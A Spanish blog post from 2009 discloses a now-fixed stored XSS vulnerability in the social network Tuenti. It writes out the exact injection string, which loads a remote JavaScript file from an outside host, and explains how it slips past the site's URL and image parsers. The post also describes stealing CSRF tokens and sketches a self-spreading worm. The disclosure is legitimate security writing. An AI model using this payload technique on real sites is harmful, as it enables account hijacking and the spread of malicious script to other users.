Detalles de la vulnerabilidad de Tuenti
Lunes, Mayo 4th, 2009Esto es una explicación sobre la anterior entrada.
El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).
El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:
Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:
- El usuario escribe y envía.
- El servidor recibe y guarda, haciendo ciertos cambios [1].
- Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.
¿Qué es lo que falla en el proceso? El parseado. En un principio, estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.
Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).
Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:
http://diazr.com/</script><script src=http ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>
- La URL podía ser cualquiera, con el único requisito de que terminara en /.
- Era necesario colocar un </script> previamente antes de iniciar otro.
- Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
- Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
- El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.
Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.
Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.
[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

















